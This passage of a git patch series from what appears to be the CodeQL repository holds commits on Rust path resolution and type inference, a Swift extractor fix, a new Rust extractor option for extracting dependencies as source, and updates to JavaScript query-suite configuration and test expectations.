js/react/unused-or-undefined-state-property + - js/react/direct-state-mutation + - js/react/inconsistent-state-update + - js/diagnostics/extraction-errors + - js/diagnostics/successfully-extracted-files + - js/summary/lines-of-code + - js/summary/lines-of-user-code +- include: + kind: + - diagnostic +- include: + kind: + - metric + tags contain: + - summary +- exclude: + deprecated: // +- exclude: + query path: + - /^experimental\/.*/ + - Metrics/Summaries/FrameworkCoverage.ql + - /Diagnostics/Internal/.*/ +- exclude: + tags contain: + - modeleditor + - modelgenerator From ba7726462fb695d5b28280572d15cccd1eb73f3d Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 26 May 2025 12:17:25 +0200 Subject: [PATCH 379/535] Rust: Also include prelude path resolution in Core --- rust/ql/lib/codeql/rust/internal/PathResolution.qll | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 8764869a152b..ca05b0fba7d1 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -1413,7 +1413,7 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { */ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { exists(Crate core, ModuleLikeNode mod, ModuleItemNode prelude, ModuleItemNode rust | - f = any(Crate c0 | core = c0.getDependency(_)).getASourceFile() and + f = any(Crate c0 | core = c0.getDependency(_) or core = c0).getASourceFile() and core.getName() = "core" and mod = core.getSourceFile() and prelude = mod.getASuccessorRec("prelude") and @@ -1438,8 +1438,8 @@ private module Debug { private Locatable getRelevantLocatable() { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and - filepath.matches("%/term.rs") and - startline = [71] + filepath.matches("%/test.rs") and + startline = 74 ) } From a749cf934ae87caf773a10e386ca4b45605b1ad2 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 26 May 2025 14:15:56 +0200 Subject: [PATCH 380/535] Rust: accept test changes --- rust/ql/integration-tests/macro-expansion/summary.expected | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/integration-tests/macro-expansion/summary.expected b/rust/ql/integration-tests/macro-expansion/summary.expected index 529d1736d028..6917d67b1cf0 100644 --- a/rust/ql/integration-tests/macro-expansion/summary.expected +++ b/rust/ql/integration-tests/macro-expansion/summary.expected @@ -9,7 +9,7 @@ | Inconsistencies - Path resolution | 0 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | -| Lines of code extracted | 46 | +| Lines of code extracted | 29 | | Lines of user code extracted | 29 | | Macro calls - resolved | 52 | | Macro calls - total | 53 | From e964b175e66cf67d5f975c4f4f5d7e61a5155808 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 26 May 2025 14:23:20 +0200 Subject: [PATCH 381/535] Added `maintainability` and `error-handling` tags --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 1f9bf0b8d7a3..4f5dc1f735d5 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -6,6 +6,8 @@ * @problem.severity warning * @precision high * @tags quality + * maintainability + * error-handling * frameworks/nodejs */ From 0ce06e88188df1d0301374a09608b3253eaca78e Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Mon, 26 May 2025 15:12:33 +0200 Subject: [PATCH 382/535] Rust: Use member predicate from path resolution --- rust/ql/lib/codeql/rust/internal/TypeInference.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 8cff1635b93f..ca5c65f38ef6 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -1084,7 +1084,7 @@ private predicate methodCandidate(Type type, string name, int arity, Impl impl) */ pragma[nomagic] private predicate methodCandidateTrait(Type type, Trait trait, string name, int arity, Impl impl) { - trait = resolvePath(impl.getTrait().(PathTypeRepr).getPath()) and + trait = resolvePath(impl.(ImplItemNode).getTraitPath()) and methodCandidate(type, name, arity, impl) } From b4d2fb45ab7b7e90f07d6dfb09153b90a83bd591 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Mon, 26 May 2025 16:22:20 +0200 Subject: [PATCH 383/535] Swift: Fix type string representation --- swift/extractor/translators/ExprTranslator.cpp | 4 +++- .../generated/expr/TypeValueExpr/TypeValueExpr.expected | 4 ++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/swift/extractor/translators/ExprTranslator.cpp b/swift/extractor/translators/ExprTranslator.cpp index 30cca659a8c9..15a6765e5fc9 100644 --- a/swift/extractor/translators/ExprTranslator.cpp +++ b/swift/extractor/translators/ExprTranslator.cpp @@ -691,7 +691,9 @@ codeql::CurrentContextIsolationExpr ExprTranslator::translateCurrentContextIsola codeql::TypeValueExpr ExprTranslator::translateTypeValueExpr(const swift::TypeValueExpr& expr) { auto entry = createExprEntry(expr); - entry.type_repr = dispatcher.fetchLabel(expr.getParamTypeRepr()); + if (expr.getParamTypeRepr() && expr.getParamType()) { + entry.type_repr = dispatcher.fetchLabel(expr.getParamTypeRepr(), expr.getParamType()); + } return entry; } diff --git a/swift/ql/test/extractor-tests/generated/expr/TypeValueExpr/TypeValueExpr.expected b/swift/ql/test/extractor-tests/generated/expr/TypeValueExpr/TypeValueExpr.expected index fa57faafb196..685ff810fcfa 100644 --- a/swift/ql/test/extractor-tests/generated/expr/TypeValueExpr/TypeValueExpr.expected +++ b/swift/ql/test/extractor-tests/generated/expr/TypeValueExpr/TypeValueExpr.expected @@ -1,2 +1,2 @@ -| type_value_exprs.swift:4:13:4:13 | TypeValueExpr | hasType: | yes | getTypeRepr: | type_value_exprs.swift:4:13:4:13 | (no string representation) | -| type_value_exprs.swift:5:13:5:13 | TypeValueExpr | hasType: | yes | getTypeRepr: | type_value_exprs.swift:5:13:5:13 | (no string representation) | +| type_value_exprs.swift:4:13:4:13 | TypeValueExpr | hasType: | yes | getTypeRepr: | type_value_exprs.swift:4:13:4:13 | N | +| type_value_exprs.swift:5:13:5:13 | TypeValueExpr | hasType: | yes | getTypeRepr: | type_value_exprs.swift:5:13:5:13 | N | From f17076e212187e3f0c601f706bfd9612474000eb Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Mon, 26 May 2025 16:41:05 +0200 Subject: [PATCH 384/535] Swift: Update expected test results --- swift/ql/test/library-tests/ast/Errors.expected | 2 -- swift/ql/test/library-tests/ast/Missing.expected | 2 -- swift/ql/test/library-tests/ast/PrintAst.expected | 6 ++---- 3 files changed, 2 insertions(+), 8 deletions(-) diff --git a/swift/ql/test/library-tests/ast/Errors.expected b/swift/ql/test/library-tests/ast/Errors.expected index e6ccf0718515..e69de29bb2d1 100644 --- a/swift/ql/test/library-tests/ast/Errors.expected +++ b/swift/ql/test/library-tests/ast/Errors.expected @@ -1,2 +0,0 @@ -| cfg.swift:591:13:591:13 | missing type from TypeRepr | UnspecifiedElement | -| cfg.swift:595:13:595:13 | missing type from TypeRepr | UnspecifiedElement | diff --git a/swift/ql/test/library-tests/ast/Missing.expected b/swift/ql/test/library-tests/ast/Missing.expected index 1966db9b8904..e69de29bb2d1 100644 --- a/swift/ql/test/library-tests/ast/Missing.expected +++ b/swift/ql/test/library-tests/ast/Missing.expected @@ -1,2 +0,0 @@ -| cfg.swift:591:13:591:13 | missing type from TypeRepr | -| cfg.swift:595:13:595:13 | missing type from TypeRepr | diff --git a/swift/ql/test/library-tests/ast/PrintAst.expected b/swift/ql/test/library-tests/ast/PrintAst.expected index 248401ac8140..f0383c005c32 100644 --- a/swift/ql/test/library-tests/ast/PrintAst.expected +++ b/swift/ql/test/library-tests/ast/PrintAst.expected @@ -3552,7 +3552,7 @@ cfg.swift: # 590| getGenericTypeParam(0): [GenericTypeParamDecl] N # 591| getMember(0): [PatternBindingDecl] var ... = ... # 591| getInit(0): [TypeValueExpr] TypeValueExpr -# 591| getTypeRepr(): (no string representation) +# 591| getTypeRepr(): [TypeRepr] N # 591| getPattern(0): [NamedPattern] x # 591| getMember(1): [ConcreteVarDecl] x # 591| Type = Int @@ -3596,7 +3596,6 @@ cfg.swift: # 590| Type = ValueGenericsStruct # 590| getBody(): [BraceStmt] { ... } # 590| getElement(0): [ReturnStmt] return -# 591| [UnspecifiedElement] missing type from TypeRepr # 594| [NamedFunction] valueGenericsFn(_:) # 594| InterfaceType = (ValueGenericsStruct) -> () # 594| getGenericTypeParam(0): [GenericTypeParamDecl] N @@ -3607,7 +3606,7 @@ cfg.swift: # 595| Type = Int # 595| getElement(0): [PatternBindingDecl] var ... = ... # 595| getInit(0): [TypeValueExpr] TypeValueExpr -# 595| getTypeRepr(): (no string representation) +# 595| getTypeRepr(): [TypeRepr] N # 595| getPattern(0): [NamedPattern] x # 596| getElement(1): [CallExpr] call to print(_:separator:terminator:) # 596| getFunction(): [DeclRefExpr] print(_:separator:terminator:) @@ -3624,7 +3623,6 @@ cfg.swift: # 597| getElement(2): [AssignExpr] ... = ... # 597| getDest(): [DiscardAssignmentExpr] _ # 597| getSource(): [DeclRefExpr] value -# 595| [UnspecifiedElement] missing type from TypeRepr declarations.swift: # 1| [StructDecl] Foo # 2| getMember(0): [PatternBindingDecl] var ... = ... From 765afdbae0a9464a9dda609944c196af542a7453 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 26 May 2025 18:21:35 +0200 Subject: [PATCH 385/535] Rust: add option to extract dependencies as source files --- rust/codeql-extractor.yml | 8 ++++++++ rust/extractor/src/config.rs | 1 + rust/extractor/src/main.rs | 15 +++++++++++++-- 3 files changed, 22 insertions(+), 2 deletions(-) diff --git a/rust/codeql-extractor.yml b/rust/codeql-extractor.yml index 1c73a070e587..0ba77ee88d13 100644 --- a/rust/codeql-extractor.yml +++ b/rust/codeql-extractor.yml @@ -82,3 +82,11 @@ options: title: Skip path resolution description: > Skip path resolution. This is experimental, while we move path resolution from the extractor to the QL library. + type: string + pattern: "^(false|true)$" + extract_dependencies_as_source: + title: Extract dependencies as source code + description: > + Extract the full source code of dependencies instead of only extracting signatures. + type: string + pattern: "^(false|true)$" diff --git a/rust/extractor/src/config.rs b/rust/extractor/src/config.rs index e66d54807be0..3f6b86d1f1f9 100644 --- a/rust/extractor/src/config.rs +++ b/rust/extractor/src/config.rs @@ -67,6 +67,7 @@ pub struct Config { pub extra_includes: Vec, pub proc_macro_server: Option, pub skip_path_resolution: bool, + pub extract_dependencies_as_source: bool, } impl Config { diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index 99f470aa13e4..fd827f46d7c6 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -277,6 +277,16 @@ fn main() -> anyhow::Result<()> { } else { ResolvePaths::Yes }; + let library_mode = if cfg.extract_dependencies_as_source { + SourceKind::Source + } else { + SourceKind::Library + }; + let library_resolve_paths = if cfg.extract_dependencies_as_source { + resolve_paths + } else { + ResolvePaths::No + }; let mut processed_files: HashSet = HashSet::from_iter(files.iter().cloned()); for (manifest, files) in map.values().filter(|(_, files)| !files.is_empty()) { @@ -312,12 +322,13 @@ fn main() -> anyhow::Result<()> { .source_root(db) .is_library { + tracing::info!("file: {}", file.display()); extractor.extract_with_semantics( file, &semantics, vfs, - ResolvePaths::No, - SourceKind::Library, + library_resolve_paths, + library_mode, ); extractor.archiver.archive(file); } From c3af98b5cde49995db424bfbb1cc2fbd7147b84d Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 27 May 2025 09:01:18 +0200 Subject: [PATCH 386/535] Rust: skip unexpanded stuff in library emission This will skip all unexpanded entities in library extraction, where we only really care about expanded things. This means skipping: * the token tree of macro calls * the unexpanded AST of attribute macros In the latter case, in order to replace the single `Item` with its expansion (which is a `MacroItems` entity), we wrap the `MacroItems` in a dummy `MacroCall` with null path. --- rust/extractor/src/translate/base.rs | 117 +++++++++++++++++---------- 1 file changed, 75 insertions(+), 42 deletions(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index daf80fa45173..f19f39c75d10 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -25,7 +25,9 @@ use ra_ap_syntax::{ #[macro_export] macro_rules! pre_emit { (Item, $self:ident, $node:ident) => { - $self.setup_item_expansion($node); + if let Some(label) = $self.prepare_item_expansion($node) { + return Some(label); + } }; ($($_:tt)*) => {}; } @@ -687,6 +689,14 @@ impl<'a> Translator<'a> { { return true; } + if syntax + .parent() + .and_then(ast::MacroCall::cast) + .and_then(|x| x.token_tree()) + .is_some_and(|tt| tt.syntax() == syntax) + { + return true; + } } false } @@ -723,52 +733,75 @@ impl<'a> Translator<'a> { } } - pub(crate) fn setup_item_expansion(&mut self, node: &ast::Item) { - if self.semantics.is_some_and(|s| { - let file = s.hir_file_for(node.syntax()); - let node = InFile::new(file, node); - s.is_attr_macro_call(node) - }) { + pub(crate) fn prepare_item_expansion( + &mut self, + node: &ast::Item, + ) -> Option> { + if self.source_kind == SourceKind::Library { + // if the item expands via an attribute macro, we want to only emit the expansion + if let Some(expanded) = self.emit_attribute_macro_expansion(node) { + // we wrap it in a dummy MacroCall to get a single Item label that can replace + // the original Item + let label = self.trap.emit(generated::MacroCall { + id: TrapId::Star, + attrs: vec![], + path: None, + token_tree: None, + }); + generated::MacroCall::emit_macro_call_expansion( + label, + expanded.into(), + &mut self.trap.writer, + ); + return Some(label.into()); + } + } + let semantics = self.semantics.as_ref()?; + let file = semantics.hir_file_for(node.syntax()); + let node = InFile::new(file, node); + if semantics.is_attr_macro_call(node) { self.macro_context_depth += 1; } + None } - pub(crate) fn emit_item_expansion(&mut self, node: &ast::Item, label: Label) { - // TODO: remove this after fixing exponential expansion on libraries like funty-2.0.0 - if self.source_kind == SourceKind::Library { - return; + fn emit_attribute_macro_expansion( + &mut self, + node: &ast::Item, + ) -> Option> { + let semantics = self.semantics?; + let file = semantics.hir_file_for(node.syntax()); + let infile_node = InFile::new(file, node); + if !semantics.is_attr_macro_call(infile_node) { + return None; } - (|| { - let semantics = self.semantics?; - let file = semantics.hir_file_for(node.syntax()); - let infile_node = InFile::new(file, node); - if !semantics.is_attr_macro_call(infile_node) { - return None; - } - self.macro_context_depth -= 1; - if self.macro_context_depth > 0 { - // only expand the outermost attribute macro - return None; - } - let ExpandResult { - value: expanded, .. - } = semantics.expand_attr_macro(node)?; - self.emit_macro_expansion_parse_errors(node, &expanded); - let macro_items = ast::MacroItems::cast(expanded).or_else(|| { - let message = "attribute macro expansion cannot be cast to MacroItems".to_owned(); - let location = self.location_for_node(node); - self.emit_diagnostic( - DiagnosticSeverity::Warning, - "item_expansion".to_owned(), - message.clone(), - message, - location.unwrap_or(UNKNOWN_LOCATION), - ); - None - })?; - let expanded = self.emit_macro_items(¯o_items)?; + self.macro_context_depth -= 1; + if self.macro_context_depth > 0 { + // only expand the outermost attribute macro + return None; + } + let ExpandResult { + value: expanded, .. + } = semantics.expand_attr_macro(node)?; + self.emit_macro_expansion_parse_errors(node, &expanded); + let macro_items = ast::MacroItems::cast(expanded).or_else(|| { + let message = "attribute macro expansion cannot be cast to MacroItems".to_owned(); + let location = self.location_for_node(node); + self.emit_diagnostic( + DiagnosticSeverity::Warning, + "item_expansion".to_owned(), + message.clone(), + message, + location.unwrap_or(UNKNOWN_LOCATION), + ); + None + })?; + self.emit_macro_items(¯o_items) + } + + pub(crate) fn emit_item_expansion(&mut self, node: &ast::Item, label: Label) { + if let Some(expanded) = self.emit_attribute_macro_expansion(node) { generated::Item::emit_attribute_macro_expansion(label, expanded, &mut self.trap.writer); - Some(()) - })(); + } } } From 96cba8b8c248282c3de20b592f4c2b7c4dba0810 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 22 May 2025 14:04:44 +0200 Subject: [PATCH 387/535] Rust: Add inconsistency check for type mentions without a root type --- .../codeql/typeinference/internal/TypeInference.qll | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 6a1f1c50bb39..b0f5fc673009 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -1314,6 +1314,10 @@ module Make1 Input1> { getTypeParameterId(tp1) = getTypeParameterId(tp2) and tp1 != tp2 } + + query predicate illFormedTypeMention(TypeMention tm) { + not exists(tm.resolveTypeAt(TypePath::nil())) and exists(tm.getLocation()) + } } } } From 5278064407ea4880713d82f1fda1800eefbd6946 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 22 May 2025 14:08:25 +0200 Subject: [PATCH 388/535] Rust: Only include relevant AST nodes in TypeMention --- .../codeql/rust/internal/TypeInference.qll | 14 +- .../lib/codeql/rust/internal/TypeMention.qll | 150 ++++++++---------- 2 files changed, 75 insertions(+), 89 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index ca5c65f38ef6..ca60efe2864b 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -314,7 +314,7 @@ private Type getRefAdjustImplicitSelfType(SelfParam self, TypePath suffix, Type pragma[nomagic] private Type resolveImplSelfType(Impl i, TypePath path) { - result = i.getSelfTy().(TypeReprMention).resolveTypeAt(path) + result = i.getSelfTy().(TypeMention).resolveTypeAt(path) } /** Gets the type at `path` of the implicitly typed `self` parameter. */ @@ -377,7 +377,7 @@ private module StructExprMatchingInput implements MatchingInputSig { Type getDeclaredType(DeclarationPosition dpos, TypePath path) { // type of a field - exists(TypeReprMention tp | + exists(TypeMention tp | tp = this.getField(dpos.asFieldPos()).getTypeRepr() and result = tp.resolveTypeAt(path) ) @@ -537,7 +537,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { override Type getParameterType(DeclarationPosition dpos, TypePath path) { exists(int pos | - result = this.getTupleField(pos).getTypeRepr().(TypeReprMention).resolveTypeAt(path) and + result = this.getTupleField(pos).getTypeRepr().(TypeMention).resolveTypeAt(path) and dpos = TPositionalDeclarationPosition(pos, false) ) } @@ -560,7 +560,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { override Type getParameterType(DeclarationPosition dpos, TypePath path) { exists(int p | - result = this.getTupleField(p).getTypeRepr().(TypeReprMention).resolveTypeAt(path) and + result = this.getTupleField(p).getTypeRepr().(TypeMention).resolveTypeAt(path) and dpos = TPositionalDeclarationPosition(p, false) ) } @@ -608,7 +608,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { } override Type getReturnType(TypePath path) { - result = this.getRetType().getTypeRepr().(TypeReprMention).resolveTypeAt(path) + result = this.getRetType().getTypeRepr().(TypeMention).resolveTypeAt(path) } } @@ -646,7 +646,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { private import codeql.rust.elements.internal.CallExprImpl::Impl as CallExprImpl class Access extends CallExprBase { - private TypeReprMention getMethodTypeArg(int i) { + private TypeMention getMethodTypeArg(int i) { result = this.(MethodCallExpr).getGenericArgList().getTypeArg(i) } @@ -831,7 +831,7 @@ private module FieldExprMatchingInput implements MatchingInputSig { ) or dpos.isField() and - result = this.getTypeRepr().(TypeReprMention).resolveTypeAt(path) + result = this.getTypeRepr().(TypeMention).resolveTypeAt(path) } } diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index a957a82149f3..7e947a35bc48 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -31,53 +31,33 @@ abstract class TypeMention extends AstNode { Type resolveTypeAt(TypePath path) { result = this.getMentionAt(path).resolveType() } } -class TypeReprMention extends TypeMention, TypeRepr { - TypeReprMention() { not this instanceof InferTypeRepr } +class ArrayTypeReprMention extends TypeMention instanceof ArrayTypeRepr { + override TypeMention getTypeArgument(int i) { result = super.getElementTypeRepr() and i = 0 } - override TypeReprMention getTypeArgument(int i) { - result = this.(ArrayTypeRepr).getElementTypeRepr() and - i = 0 - or - result = this.(RefTypeRepr).getTypeRepr() and - i = 0 - or - result = this.(PathTypeRepr).getPath().(PathMention).getTypeArgument(i) - } + override Type resolveType() { result = TArrayType() } +} - override Type resolveType() { - this instanceof ArrayTypeRepr and - result = TArrayType() - or - this instanceof RefTypeRepr and - result = TRefType() - or - result = this.(PathTypeRepr).getPath().(PathMention).resolveType() - } +class RefTypeReprMention extends TypeMention instanceof RefTypeRepr { + override TypeMention getTypeArgument(int i) { result = super.getTypeRepr() and i = 0 } - override Type resolveTypeAt(TypePath path) { - result = this.(PathTypeRepr).getPath().(PathMention).resolveTypeAt(path) - or - not exists(this.(PathTypeRepr).getPath()) and - result = super.resolveTypeAt(path) - } + override Type resolveType() { result = TRefType() } } -/** Holds if `path` resolves to the type alias `alias` with the definition `rhs`. */ -private predicate resolvePathAlias(Path path, TypeAlias alias, TypeReprMention rhs) { - alias = resolvePath(path) and rhs = alias.getTypeRepr() -} +class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { + Path path; + ItemNode resolved; -abstract class PathMention extends TypeMention, Path { - override TypeMention getTypeArgument(int i) { - result = this.getSegment().getGenericArgList().getTypeArg(i) + PathTypeReprMention() { + path = super.getPath() and + // NOTE: This excludes unresolvable paths which is intentional as these + // don't add value to the type inference anyway. + resolved = resolvePath(path) } -} -class NonAliasPathMention extends PathMention { - NonAliasPathMention() { not resolvePathAlias(this, _, _) } + ItemNode getResolved() { result = resolved } override TypeMention getTypeArgument(int i) { - result = super.getTypeArgument(i) + result = path.getSegment().getGenericArgList().getTypeArg(i) or // `Self` paths inside `impl` blocks have implicit type arguments that are // the type parameters of the `impl` block. For example, in @@ -92,17 +72,17 @@ class NonAliasPathMention extends PathMention { // // the `Self` return type is shorthand for `Foo`. exists(ImplItemNode node | - this = node.getASelfPath() and + path = node.getASelfPath() and result = node.(ImplItemNode).getSelfPath().getSegment().getGenericArgList().getTypeArg(i) ) or - // If `this` is the trait of an `impl` block then any associated types + // If `path` is the trait of an `impl` block then any associated types // defined in the `impl` block are type arguments to the trait. // // For instance, for a trait implementation like this // ```rust // impl MyTrait for MyType { - // ^^^^^^^ this + // ^^^^^^^ path // type AssociatedType = i64 // ^^^ result // // ... @@ -110,88 +90,94 @@ class NonAliasPathMention extends PathMention { // ``` // the rhs. of the type alias is a type argument to the trait. exists(ImplItemNode impl, AssociatedTypeTypeParameter param, TypeAlias alias | - this = impl.getTraitPath() and - param.getTrait() = resolvePath(this) and + path = impl.getTraitPath() and + param.getTrait() = resolved and alias = impl.getASuccessor(param.getTypeAlias().getName().getText()) and result = alias.getTypeRepr() and param.getIndex() = i ) } + /** + * Holds if this path resolved to a type alias with a rhs. that has the + * resulting type at `typePath`. + */ + Type aliasResolveTypeAt(TypePath typePath) { + exists(TypeAlias alias, TypeMention rhs | alias = resolved and rhs = alias.getTypeRepr() | + result = rhs.resolveTypeAt(typePath) and + not result = pathGetTypeParameter(alias, _) + or + exists(TypeParameter tp, TypeMention arg, TypePath prefix, TypePath suffix, int i | + tp = rhs.resolveTypeAt(prefix) and + tp = pathGetTypeParameter(alias, i) and + arg = path.getSegment().getGenericArgList().getTypeArg(i) and + result = arg.resolveTypeAt(suffix) and + typePath = prefix.append(suffix) + ) + ) + } + override Type resolveType() { - exists(ItemNode i | i = resolvePath(this) | - result = TStruct(i) + result = this.aliasResolveTypeAt(TypePath::nil()) + or + not exists(resolved.(TypeAlias).getTypeRepr()) and + ( + result = TStruct(resolved) or - result = TEnum(i) + result = TEnum(resolved) or - exists(TraitItemNode trait | trait = i | + exists(TraitItemNode trait | trait = resolved | // If this is a `Self` path, then it resolves to the implicit `Self` // type parameter, otherwise it is a trait bound. - if this = trait.getASelfPath() + if super.getPath() = trait.getASelfPath() then result = TSelfTypeParameter(trait) else result = TTrait(trait) ) or - result = TTypeParamTypeParameter(i) + result = TTypeParamTypeParameter(resolved) or - exists(TypeAlias alias | alias = i | + exists(TypeAlias alias | alias = resolved | result.(AssociatedTypeTypeParameter).getTypeAlias() = alias or - result = alias.getTypeRepr().(TypeReprMention).resolveType() + result = alias.getTypeRepr().(TypeMention).resolveType() ) ) } -} - -class AliasPathMention extends PathMention { - TypeAlias alias; - TypeReprMention rhs; - - AliasPathMention() { resolvePathAlias(this, alias, rhs) } - - /** Get the `i`th type parameter of the alias itself. */ - private TypeParameter getTypeParameter(int i) { - result = TTypeParamTypeParameter(alias.getGenericParamList().getTypeParam(i)) - } - - override Type resolveType() { result = rhs.resolveType() } - override Type resolveTypeAt(TypePath path) { - result = rhs.resolveTypeAt(path) and - not result = this.getTypeParameter(_) + override Type resolveTypeAt(TypePath typePath) { + result = this.aliasResolveTypeAt(typePath) or - exists(TypeParameter tp, TypeMention arg, TypePath prefix, TypePath suffix, int i | - tp = rhs.resolveTypeAt(prefix) and - tp = this.getTypeParameter(i) and - arg = this.getTypeArgument(i) and - result = arg.resolveTypeAt(suffix) and - path = prefix.append(suffix) - ) + not exists(resolved.(TypeAlias).getTypeRepr()) and + result = super.resolveTypeAt(typePath) } } +private TypeParameter pathGetTypeParameter(TypeAlias alias, int i) { + result = TTypeParamTypeParameter(alias.getGenericParamList().getTypeParam(i)) +} + // Used to represent implicit `Self` type arguments in traits and `impl` blocks, // see `PathMention` for details. -class TypeParamMention extends TypeMention, TypeParam { - override TypeReprMention getTypeArgument(int i) { none() } +class TypeParamMention extends TypeMention instanceof TypeParam { + override TypeMention getTypeArgument(int i) { none() } override Type resolveType() { result = TTypeParamTypeParameter(this) } } // Used to represent implicit type arguments for associated types in traits. -class TypeAliasMention extends TypeMention, TypeAlias { +class TypeAliasMention extends TypeMention instanceof TypeAlias { private Type t; TypeAliasMention() { t = TAssociatedTypeTypeParameter(this) } - override TypeReprMention getTypeArgument(int i) { none() } + override TypeMention getTypeArgument(int i) { none() } override Type resolveType() { result = t } } -class TraitMention extends TypeMention, TraitItemNode { +class TraitMention extends TypeMention instanceof TraitItemNode { override TypeMention getTypeArgument(int i) { - result = this.getTypeParam(i) + result = super.getTypeParam(i) or traitAliasIndex(this, i, result) } @@ -203,7 +189,7 @@ class TraitMention extends TypeMention, TraitItemNode { // appears in the AST, we (somewhat arbitrarily) choose the name of a trait as a // type mention. This works because there is a one-to-one correspondence between // a trait and its name. -class SelfTypeParameterMention extends TypeMention, Name { +class SelfTypeParameterMention extends TypeMention instanceof Name { Trait trait; SelfTypeParameterMention() { trait.getName() = this } @@ -212,5 +198,5 @@ class SelfTypeParameterMention extends TypeMention, Name { override Type resolveType() { result = TSelfTypeParameter(trait) } - override TypeReprMention getTypeArgument(int i) { none() } + override TypeMention getTypeArgument(int i) { none() } } From ba4950fb89100d94caf8dfd58627eb98d9418958 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 22 May 2025 14:52:37 +0200 Subject: [PATCH 389/535] Rust: Accept test changes --- .../CONSISTENCY/TypeInferenceConsistency.expected | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 rust/ql/test/query-tests/unusedentities/CONSISTENCY/TypeInferenceConsistency.expected diff --git a/rust/ql/test/query-tests/unusedentities/CONSISTENCY/TypeInferenceConsistency.expected b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/TypeInferenceConsistency.expected new file mode 100644 index 000000000000..56ce1df5c894 --- /dev/null +++ b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/TypeInferenceConsistency.expected @@ -0,0 +1,2 @@ +illFormedTypeMention +| main.rs:403:18:403:24 | FuncPtr | From 1f6b3ad929a7128f42d696e6c12249153beb0c03 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 27 May 2025 09:38:24 +0200 Subject: [PATCH 390/535] Update javascript/ql/src/codeql-suites/javascript-security-and-quality.qls Co-authored-by: Michael Nebel --- .../src/codeql-suites/javascript-security-and-quality.qls | 6 ------ 1 file changed, 6 deletions(-) diff --git a/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls b/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls index d02a016f058b..38d45ecfbe66 100644 --- a/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls +++ b/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls @@ -136,9 +136,3 @@ - exclude: query path: - /^experimental\/.*/ - - Metrics/Summaries/FrameworkCoverage.ql - - /Diagnostics/Internal/.*/ -- exclude: - tags contain: - - modeleditor - - modelgenerator From 5214cc040753511a005622801e075f465cb60a60 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 27 May 2025 09:45:37 +0200 Subject: [PATCH 391/535] Excluded `ngrx`, `datorama`, `angular`, `react` and `langchain` from stream pipe query. --- .../ql/src/Quality/UnhandledStreamPipe.ql | 3 +- .../Quality/UnhandledStreamPipe/fizz-pipe.js | 29 +++++++++++++++++++ .../Quality/UnhandledStreamPipe/langchain.ts | 15 ++++++++++ .../Quality/UnhandledStreamPipe/ngrx.ts | 17 +++++++++++ 4 files changed, 63 insertions(+), 1 deletion(-) create mode 100644 